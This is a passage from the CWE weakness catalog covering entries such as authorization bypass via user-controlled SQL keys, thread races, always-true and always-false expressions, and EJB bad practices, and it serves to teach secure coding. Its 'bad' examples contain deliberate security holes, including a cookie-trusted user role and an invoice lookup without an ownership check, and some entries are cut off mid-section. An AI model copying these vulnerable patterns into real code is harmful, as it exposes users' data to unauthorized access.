Protect critical cookies from replay attacks, since cross-site scripting or other attacks may allow attackers to steal a strongly-encrypted cookie that also passes integrity checks. This mitigation applies to cookies that should only be valid during a single transaction or session. By enforcing timeouts, you may limit the scope of an attack. As part of your integrity check, use an unpredictable, server-side value that is not exposed to the client.

Demonstrative Examples

Example 1:

The following code excerpt reads a value from a browser cookie to determine the role of the user.

Example Language: Java *(bad)*

```
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
    Cookie c = cookies[i];
    if (c.getName().equals("role")) {
        userRole = c.getValue();
    }
}
```

It is easy for an attacker to modify the "role" value found in the locally stored cookie, allowing privilege escalation.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	949	SFP Secondary Cluster: Faulty Endpoint Authentication	888	1935

Notes

Relationship

This problem can be primary to many types of weaknesses in web applications. A developer may perform proper validation against URL parameters while assuming that attackers cannot modify cookies. As a result, the program might skip basic input validation to enable cross-site scripting, SQL injection, price tampering, and other attacks..

CWE-566: Authorization Bypass Through User-Controlled SQL Primary Key

Weakness ID : 566 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software uses a database table that includes records that should not be accessible to an actor, but it executes a SQL statement with a primary key that can be controlled by that actor.

Extended Description

When a user can set a primary key to any value, then the user can modify the key to point to unauthorized records.

Database access control errors occur when:

- Data enters a program from an untrusted source.
- The data is used to specify the value of a primary key in a SQL query.
- The untrusted source does not have the permissions to be able to access all rows in the associated table.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	639	Authorization Bypass Through User-Controlled Key	1251

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Applicable Platforms

Technology : Database Server *(Prevalence = Often)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Modify Application Data	
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Implementation

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data. Use an "accept known good" validation strategy.

Phase: Implementation

Use a parameterized query AND make sure that the accepted values conform to the business rules. Construct your SQL statement accordingly.

Demonstrative Examples

Example 1:

The following code uses a parameterized statement, which escapes metacharacters and prevents SQL injection vulnerabilities, to construct and execute a SQL query that searches for an invoice matching the specified identifier [1]. The identifier is selected from a list of all invoices associated with the current authenticated user.

Example Language: C# *(bad)*

```
...
conn = new SqlConnection(_ConnectionString);
conn.Open();
int16 id = System.Convert.ToInt16(invoiceID.Text);
SqlCommand query = new SqlCommand( "SELECT * FROM invoices WHERE id = @id", conn);
query.Parameters.AddWithValue("@id", id);
SqlDataReader objReader = objCommand.ExecuteReader();
...
```

The problem is that the developer has not considered all of the possible values of id. Although the interface generates a list of invoice identifiers that belong to the current user, an attacker can bypass this interface to request any desired invoice. Because the code in this example does not check to ensure that the user has permission to access the requested invoice, it will display any invoice, even if it does not belong to the current user.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context

Weakness ID : 567 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product does not properly synchronize shared data, such as static variables across threads, which can lead to undefined behavior and unpredictable data changes.

Extended Description

Within servlets, shared static variables are not protected from concurrent access, but servlets are multithreaded. This is a typical programming mistake in J2EE applications, since the multithreading is handled by the framework. When a shared variable can be influenced by an attacker, one thread could wind up modifying the variable to contain data that is not valid for a different thread that is also using the data within the variable.

Note that this weakness is not unique to servlets.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	820	Missing Synchronization	1512
CanPrecede	B	488	Exposure of Data Element to Wrong Session	1040

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	557	Concurrency Issues	1869

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Read Application Data Modify Application Data DoS: Instability DoS: Crash, Exit, or Restart *If the shared variable contains sensitive data, it may be manipulated or displayed in another user session. If this data is used to control the application, its value can be manipulated to cause the application to crash or perform poorly.*	

Potential Mitigations

Phase: Implementation

Remove the use of static variables used between servlets. If this cannot be avoided, use synchronized access for these variables.

Demonstrative Examples

Example 1:

The following code implements a basic counter for how many times the page has been accesed.

Example Language: Java *(bad)*

```
public static class Counter extends HttpServlet {
    static int count = 0;
    protected void doGet(HttpServletRequest in, HttpServletResponse out)
    throws ServletException, IOException {
        out.setContentType("text/plain");
        PrintWriter p = out.getWriter();
        count++;
        p.println(count + " hits so far!");
    }
}
```

Consider when two separate threads, Thread A and Thread B, concurrently handle two different requests:

- Assume this is the first occurrence of doGet, so the value of count is 0.
- doGet() is called within Thread A.
- The execution of doGet() in Thread A continues to the point AFTER the value of the count variable is read, then incremented, but BEFORE it is saved back to count. At this stage, the incremented value is 1, but the value of count is 0.
- doGet() is called within Thread B, and due to a higher thread priority, Thread B progresses to the point where the count variable is accessed (where it is still 0), incremented, and saved. After the save, count is 1.

- Thread A continues. It saves the intermediate, incremented value to the count variable - but the incremented value is 1, so count is "re-saved" to 1.

At this point, both Thread A and Thread B print that one hit has been seen, even though two separate requests have been processed. The value of count should be 2, not 1.

While this example does not have any real serious implications, if the shared variable in question is used for resource tracking, then resource consumption could occur. Other scenarios exist.

MemberOf Relationships

CWE-570: Expression is Always False

Weakness ID : 570 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software contains an expression that will always evaluate to false.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1365
CanPrecede	B	561	Dead Code	1133

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	569	Expression Issues	1870

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context	

Potential Mitigations

Phase: Testing

Use Static Analysis tools to spot such conditions.

Demonstrative Examples

Example 1:

In the following Java example the updateUserAccountOrder() method used within an e-business product ordering/inventory application will validate the product number that was ordered and the user account number. If they are valid, the method will update the product inventory, the user account, and the user order appropriately.

Example Language: Java *(bad)*

```
public void updateUserAccountOrder(String productNumber, String accountNumber) {
    boolean isValidProduct = false;
    boolean isValidAccount = false;
    if (validProductNumber(productNumber)) {
        isValidProduct = true;
        updateInventory(productNumber);
    }
    else {
        return;
    }
    if (validAccountNumber(accountNumber)) {
        isValidProduct = true;
        updateAccount(accountNumber, productNumber);
    }
    if (isValidProduct && isValidAccount) {
        updateAccountOrder(accountNumber, productNumber);
    }
}
```

However, the method never sets the isValidAccount variable after initializing it to false so the isValidProduct is mistakenly used twice. The result is that the expression "isValidProduct && isValidAccount" will always evaluate to false, so the updateAccountOrder() method will never be invoked. This will create serious problems with the product ordering application since the user account and inventory databases will be updated but the order will not be updated.

This can be easily corrected by updating the appropriate variable.

Example Language: *(good)*

```
...
if (validAccountNumber(accountNumber)) {
    isValidAccount = true;
    updateAccount(accountNumber, productNumber);
}
...
```

Example 2:

In the following example, the hasReadWriteAccess method uses bit masks and bit operators to determine if a user has read and write privileges for a particular process. The variable mask is defined as a bit mask from the BIT_READ and BIT_WRITE constants that have been defined. The variable mask is used within the predicate of the hasReadWriteAccess method to determine if the userMask input parameter has the read and write bits set.

Example Language: C *(bad)*

```
#define BIT_READ 0x0001 // 00000001
#define BIT_WRITE 0x0010 // 00010000
unsigned int mask = BIT_READ & BIT_WRITE; /* intended to use "|" */
// using "&", mask = 00000000
// using "|", mask = 00010001
// determine if user has read and write access
int hasReadWriteAccess(unsigned int userMask) {
    // if the userMask has read and write bits set
    // then return 1 (true)
    if (userMask & mask) {
        return 1;
    }
    // otherwise return 0 (false)
    return 0;
}
```

However the bit operator used to initialize the mask variable is the AND operator rather than the intended OR operator (CWE-480), this resulted in the variable mask being set to 0. As a result, the if statement will always evaluate to false and never get executed.

The use of bit masks, bit operators and bitwise operations on variables can be difficult. If possible, try to use frameworks or libraries that provide appropriate functionality and abstract the implementation.

Example 3:

In the following example, the updateInventory method used within an e-business inventory application will update the inventory for a particular product. This method includes an if statement with an expression that will always evaluate to false. This is a common practice in C/C++ to introduce debugging statements quickly by simply changing the expression to evaluate to true and then removing those debugging statements by changing expression to evaluate to false. This is also a common practice for disabling features no longer needed.

Example Language: C *(bad)*

```
int updateInventory(char* productNumber, int numberOfItems) {
    int initCount = getProductCount(productNumber);
```

```
    int updatedCount = initCount + numberOfItems;
    int updated = updateProductCount(updatedCount);
    // if statement for debugging purposes only
    if (1 == 0) {
        char productName[128];
        productName = getProductName(productNumber);
        printf("product %s initially has %d items in inventory \n", productName, initCount);
        printf("adding %d items to inventory for %s \n", numberOfItems, productName);
        if (updated == 0) {
            printf("Inventory updated for product %s to %d items \n", productName, updatedCount);
        }
        else {
            printf("Inventory not updated for product: %s \n", productName);
        }
    }
    return updated;
}
```

Using this practice for introducing debugging statements or disabling features creates dead code that can cause problems during code maintenance and potentially introduce vulnerabilities. To avoid using expressions that evaluate to false for debugging purposes a logging API or debugging API should be used for the output of debugging messages.

CWE-571: Expression is Always True

Weakness ID : 571 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software contains an expression that will always evaluate to true.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1365
CanPrecede	B	561	Dead Code	1133

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	569	Expression Issues	1870

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context	

Potential Mitigations

Phase: Testing

Use Static Analysis tools to spot such conditions.

Demonstrative Examples

Example 1:

In the following Java example the updateInventory() method used within an e-business product ordering/inventory application will check if the input product number is in the store or in the warehouse. If the product is found, the method will update the store or warehouse database as well as the aggregate product database. If the product is not found, the method intends to do some special processing without updating any database.

Example Language: Java *(bad)*

```
public void updateInventory(String productNumber) {
    boolean isProductAvailable = false;
    boolean isDelayed = false;
    if (productInStore(productNumber)) {
        isProductAvailable = true;
        updateInStoreDatabase(productNumber);
    }
    else if (productInWarehouse(productNumber)) {
        isProductAvailable = true;
        updateInWarehouseDatabase(productNumber);
    }
    else {
        isProductAvailable = true;
    }
    if ( isProductAvailable ) {
        updateProductDatabase(productNumber);
    }
    else if ( isDelayed ) {
        /* Warn customer about delay before order processing */
        ...
    }
}
```

However, the method never sets the isDelayed variable and instead will always update the isProductAvailable variable to true. The result is that the predicate testing the isProductAvailable boolean will always evaluate to true and therefore always update the product database. Further, since the isDelayed variable is initialized to false and never changed, the expression always evaluates to false and the customer will never be warned of a delay on their product.

CWE-572: Call to Thread run() instead of start()

Weakness ID : 572 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The program calls a thread's run() method instead of calling start(), which causes the code to run in the thread of the caller instead of the callee.

Extended Description

In most cases a direct call to a Thread object's run() method is a bug. The programmer intended to begin a new thread of control, but accidentally called run() instead of start(), so the run() method will execute in the caller's thread of control.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page

CWE-573: Improper Following of Specification by Caller

Weakness ID : 573 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The software does not follow or incorrectly follows the specifications as required by the implementation language, environment, framework, protocol, or platform.

Extended Description

When leveraging external functionality, such as an API, it is important that the caller does so in accordance with the requirements of the external functionality or else unintended behaviors may result, possibly leaving the system vulnerable to any number of exploits.

Relationships

CWE-574: EJB Bad Practices: Use of Synchronization Primitives

Weakness ID : 574 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The program violates the Enterprise JavaBeans (EJB) specification by using thread synchronization primitives.

Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: "An enterprise bean must not use thread synchronization primitives to synchronize execution of multiple instances." The specification justifies this requirement in the following way: "This rule is required to ensure consistent runtime semantics because while some EJB containers may use a single JVM to execute all enterprise bean's instances, others may distribute the instances across multiple JVMs."

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	695	Use of Low-Level Functionality	1347
ChildOf	B	821	Incorrect Synchronization	1514

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Potential Mitigations

Phase: Implementation

Do not use Synchronization Primitives when writing EJBs.

Demonstrative Examples

Example 1:

In the following Java example a Customer Entity EJB provides access to customer information in a database for a business application.

Example Language: Java *(bad)*

```
@Entity
public class Customer implements Serializable {
    private String id;
    private String firstName;
    private String lastName;
    private Address address;
    public Customer() {...}
    public Customer(String id, String firstName, String lastName) {...}
    @Id
    public String getCustomerId() {...}
    public synchronized void setCustomerId(String id) {...}
    public String getFirstName() {...}
    public synchronized void setFirstName(String firstName) {...}
    public String getLastName() {...}
    public synchronized void setLastName(String lastName) {...}
    @OneToOne()
    public Address getAddress() {...}
    public synchronized void setAddress(Address address) {...}
}
```

However, the customer entity EJB uses the synchronized keyword for the set methods to attempt to provide thread safe synchronization for the member variables. The use of synchronized methods violate the restriction of the EJB specification against the use synchronization primitives within EJBs. Using synchronization primitives may cause inconsistent behavior of the EJB when used within different EJB containers.

CWE-575: EJB Bad Practices: Use of AWT Swing

Weakness ID : 575 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The program violates the Enterprise JavaBeans (EJB) specification by using AWT/Swing.

Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: "An enterprise bean must not use the AWT functionality to attempt to output information to a display, or to input information from a keyboard." The specification justifies this requirement in the following way: "Most

servers do not allow direct interaction between an application program and a keyboard/display attached to the server system."

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	695	Use of Low-Level Functionality	1347

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Potential Mitigations

Phase: Architecture and Design

Do not use AWT/Swing when writing EJBs.

Demonstrative Examples

Example 1:

The following Java example is a simple converter class for converting US dollars to Yen. This converter class demonstrates the improper practice of using a stateless session Enterprise JavaBean that implements an AWT Component and AWT keyboard event listener to retrieve keyboard input from the user for the amount of the US dollars to convert to Yen.

Example Language: Java *(bad)*

```
@Stateless
public class ConverterSessionBean extends Component implements KeyListener, ConverterSessionRemote {
    /* member variables for receiving keyboard input using AWT API */
    ...
    private StringBuffer enteredText = new StringBuffer();
    /* conversion rate on US dollars to Yen */
    private BigDecimal yenRate = new BigDecimal("115.3100");
    public ConverterSessionBean() {
        super();
        /* method calls for setting up AWT Component for receiving keyboard input */
        ...
        addKeyListener(this);
    }
    public BigDecimal dollarToYen(BigDecimal dollars) {
        BigDecimal result = dollars.multiply(yenRate);
        return result.setScale(2, BigDecimal.ROUND_DOWN);
    }
    /* member functions for implementing AWT KeyListener interface */
    public void keyTyped(KeyEvent event) {
        ...
    }
    public void keyPressed(KeyEvent e) {
    }
    public void keyReleased(KeyEvent e) {
    }
    /* member functions for receiving keyboard input and displaying output */
    public void paint(Graphics g) {...}
    ...
```

```
}
```

This use of the AWT and Swing APIs within any kind of Enterprise JavaBean not only violates the restriction of the EJB specification against using AWT or Swing within an EJB but also violates the intended use of Enterprise JavaBeans to separate business logic from presentation logic.

The Stateless Session Enterprise JavaBean should contain only business logic. Presentation logic should be provided by some other mechanism such as Servlets or Java Server Pages (JSP) as in the following Java/JSP example.

Example Language: Java *(good)*

```
@Stateless
public class ConverterSessionBean implements ConverterSessionRemoteInterface {
    /* conversion rate on US dollars to Yen */
    private BigDecimal yenRate = new BigDecimal("115.3100");
    public ConverterSessionBean() {
    }
    /* remote method to convert US dollars to Yen */
    public BigDecimal dollarToYen(BigDecimal dollars) {
        BigDecimal result = dollars.multiply(yenRate);
        return result.setScale(2, BigDecimal.ROUND_DOWN);
    }
}
```

Example Language: JSP *(good)*

```
<%@ page import="converter.ejb.Converter, java.math.*, javax.naming.*"%>
<%!
    private Converter converter = null;
    public void jspInit() {
        try {
            InitialContext ic = new InitialContext();
            converter = (Converter) ic.lookup(Converter.class.getName());
        } catch (Exception ex) {
            System.out.println("Couldn't create converter bean."+ ex.getMessage());
        }
    }
    public void jspDestroy() {
        converter = null;
    }
%>
<html>
    <head><title>Converter</title></head>
    <body bgcolor="white">
        <h1>Converter</h1>
        <hr>
        <p>Enter an amount to convert:</p>
        <form method="get">
            <input type="text" name="amount" size="25"><br>
            <p>
            <input type="submit" value="Submit">
            <input type="reset" value="Reset">
        </form>
        <%
            String amount = request.getParameter("amount");
            if ( amount != null && amount.length() > 0 ) {
                BigDecimal d = new BigDecimal(amount);
                BigDecimal yenAmount = converter.dollarToYen(d);
        %>
        <p>
        <%= amount %> dollars are <%= yenAmount %> Yen.
        <p>
        <%
            }
        %>
    </body>
```

</html>

CWE-576: EJB Bad Practices: Use of Java I/O

Weakness ID : 576 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The program violates the Enterprise JavaBeans (EJB) specification by using the java.io package.

Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: "An enterprise bean must not use the java.io package to attempt to access files and directories in the file system." The specification justifies this requirement in the following way: "The file system APIs are not well-suited for business components to access data. Business components should use a resource manager API, such as JDBC, to store data."

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	695	Use of Low-Level Functionality	1347

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Potential Mitigations

Phase: Implementation

Do not use Java I/O when writing EJBs.

Demonstrative Examples

Example 1:

The following Java example is a simple stateless Enterprise JavaBean that retrieves the interest rate for the number of points for a mortgage. In this example, the interest rates for various points are retrieved from an XML document on the local file system, and the EJB uses the Java I/O API to retrieve the XML document from the local file system.

Example Language: Java *(bad)*

```
@Stateless
public class InterestRateBean implements InterestRateRemote {
    private Document interestRateXMLDocument = null;
    private File interestRateFile = null;
    public InterestRateBean() {
        try {
            /* get XML document from the local filesystem */
            interestRateFile = new File(Constants.INTEREST_RATE_FILE);
            if (interestRateFile.exists())
            {
                DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
                DocumentBuilder db = dbf.newDocumentBuilder();
                interestRateXMLDocument = db.parse(interestRateFile);
            }
        } catch (IOException ex) {...}
    }
    public BigDecimal getInterestRate(Integer points) {
        return getInterestRateFromXML(points);
    }
    /* member function to retrieve interest rate from XML document on the local file system */
    private BigDecimal getInterestRateFromXML(Integer points) {...}
}
```

This use of the Java I/O API within any kind of Enterprise JavaBean violates the EJB specification by using the java.io package for accessing files within the local filesystem.

An Enterprise JavaBean should use a resource manager API for storing and accessing data. In the following example, the private member function getInterestRateFromXMLParser uses an XML parser API to retrieve the interest rates.

Example Language: Java *(good)*

```
@Stateless
public class InterestRateBean implements InterestRateRemote {
    public InterestRateBean() {
    }
    public BigDecimal getInterestRate(Integer points) {
        return getInterestRateFromXMLParser(points);
    }
    /* member function to retrieve interest rate from XML document using an XML parser API */
    private BigDecimal getInterestRateFromXMLParser(Integer points) {...}
}
```

CWE-577: EJB Bad Practices: Use of Sockets

Weakness ID : 577 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The program violates the Enterprise JavaBeans (EJB) specification by using sockets.

Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: "An enterprise bean must not attempt to listen on a socket, accept connections on a socket, or use a socket for multicast." The specification justifies this requirement in the following way: "The EJB architecture allows an enterprise bean instance to be a network socket client, but it does not allow it to be a network server. Allowing the instance to become a network server would conflict with the basic function of the enterprise bean-- to serve the EJB clients."

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	573	Improper Following of Specification by Caller	1153

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Do not use Sockets when writing EJBs.

Demonstrative Examples

Example 1:

The following Java example is a simple stateless Enterprise JavaBean that retrieves stock symbols and stock values. The Enterprise JavaBean creates a socket and listens for and accepts connections from clients on the socket.

Example Language: Java *(bad)*

```
@Stateless
public class StockSymbolBean implements StockSymbolRemote {
    ServerSocket serverSocket = null;
    Socket clientSocket = null;
    public StockSymbolBean() {
        try {
            serverSocket = new ServerSocket(Constants.SOCKET_PORT);
        } catch (IOException ex) {...}
        try {
```

```
            clientSocket = serverSocket.accept();
        } catch (IOException e) {...}
    }
    public String getStockSymbol(String name) {...}
    public BigDecimal getStockValue(String symbol) {...}
    private void processClientInputFromSocket() {...}
}
```

And the following Java example is similar to the previous example but demonstrates the use of multicast socket connections within an Enterprise JavaBean.

Example Language: Java *(bad)*

```
@Stateless
public class StockSymbolBean extends Thread implements StockSymbolRemote {
    ServerSocket serverSocket = null;
    Socket clientSocket = null;
    boolean listening = false;
    public StockSymbolBean() {
        try {
            serverSocket = new ServerSocket(Constants.SOCKET_PORT);
        } catch (IOException ex) {...}
        listening = true;
        while(listening) {
            start();
        }
    }
    public String getStockSymbol(String name) {...}
    public BigDecimal getStockValue(String symbol) {...}
    public void run() {
        try {
            clientSocket = serverSocket.accept();
        } catch (IOException e) {...}
        ...
    }
}
```

The previous two examples within any type of Enterprise JavaBean violate the EJB specification by attempting to listen on a socket, accepting connections on a socket, or using a socket for multicast.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-578: EJB Bad Practices: Use of Class Loader

Weakness ID : 578 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The program violates the Enterprise JavaBeans (EJB) specification by using the class loader.

Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: "The enterprise bean must not attempt to create a class loader; obtain the current class loader; set the context class loader; set security manager; create a new security manager; stop the JVM; or change the input, output, and error streams." The specification justifies this requirement in the following way: "These functions are reserved for the EJB container. Allowing the enterprise bean to use these functions could compromise security and decrease the container's ability to properly manage the runtime environment."

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	573	Improper Following of Specification by Caller	1153

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Other	Execute Unauthorized Code or Commands Varies by Context	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Do not use the Class Loader when writing EJBs.

Demonstrative Examples

Example 1:

The following Java example is a simple stateless Enterprise JavaBean that retrieves the interest rate for the number of points for a mortgage. The interest rates for various points are retrieved from an XML document on the local file system, and the EJB uses the Class Loader for the EJB class to obtain the XML document from the local file system as an input stream.

Example Language: Java *(bad)*

```
@Stateless
public class InterestRateBean implements InterestRateRemote {
    private Document interestRateXMLDocument = null;
    public InterestRateBean() {
        try {
            // get XML document from the local filesystem as an input stream
            // using the ClassLoader for this class
            ClassLoader loader = this.getClass().getClassLoader();
            InputStream in = loader.getResourceAsStream(Constants.INTEREST_RATE_FILE);
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
        DocumentBuilder db = dbf.newDocumentBuilder();
        interestRateXMLDocument = db.parse(interestRateFile);
    } catch (IOException ex) {...}
}
```

```
    public BigDecimal getInterestRate(Integer points) {
        return getInterestRateFromXML(points);
    }
    /* member function to retrieve interest rate from XML document on the local file system */
    private BigDecimal getInterestRateFromXML(Integer points) {...}
}
```

This use of the Java Class Loader class within any kind of Enterprise JavaBean violates the restriction of the EJB specification against obtaining the current class loader as this could compromise the security of the application using the EJB.

Example 2:

An EJB is also restricted from creating a custom class loader and creating a class and instance of a class from the class loader, as shown in the following example.

Example Language: Java *(bad)*

```
@Stateless
public class LoaderSessionBean implements LoaderSessionRemote {
    public LoaderSessionBean() {
        try {
            ClassLoader loader = new CustomClassLoader();
            Class c = loader.loadClass("someClass");
            Object obj = c.newInstance();
            /* perform some task that uses the new class instance member variables or functions */
            ...
        } catch (Exception ex) {...}
    }
    public class CustomClassLoader extends ClassLoader {
    }
}
```

MemberOf Relationships

CWE-579: J2EE Bad Practices: Non-serializable Object Stored in Session

Weakness ID : 579 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The application stores a non-serializable object as an HttpSession attribute, which can hurt reliability.

Extended Description

A J2EE application can make use of multiple JVMs in order to improve application reliability and performance. In order to make the multiple JVMs appear as a single application to the end user, the J2EE container can replicate an HttpSession object across multiple JVMs so that if one JVM becomes unavailable another can step in and take its place without disrupting the flow of

the application. This is only possible if all session data is serializable, allowing the session to be duplicated between the JVMs.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1018	Manage User Sessions	1972

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Potential Mitigations

Phase: Implementation

In order for session replication to work, the values the application stores as attributes in the session must implement the Serializable interface.

Demonstrative Examples

Example 1:

The following class adds itself to the session, but because it is not serializable, the session can no longer be replicated.

Example Language: Java *(bad)*

```
public class DataGlob {
    String globName;
    String globValue;
    public void addToSession(HttpSession session) {
        session.setAttribute("glob", this);
    }
}
```

CWE-580: clone() Method Without super.clone()

Weakness ID : 580 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software contains a clone() method that does not call super.clone() to obtain the new object.

Extended Description

All implementations of clone() should obtain the new object by calling super.clone(). If a class does not follow this convention, a subclass's clone() method will return an object of the wrong type.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	265	Privilege Issues	1856

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	
Other	Quality Degradation	

Potential Mitigations

Phase: Implementation

Call super.clone() within your clone() method, when obtaining a new object.

Phase: Implementation

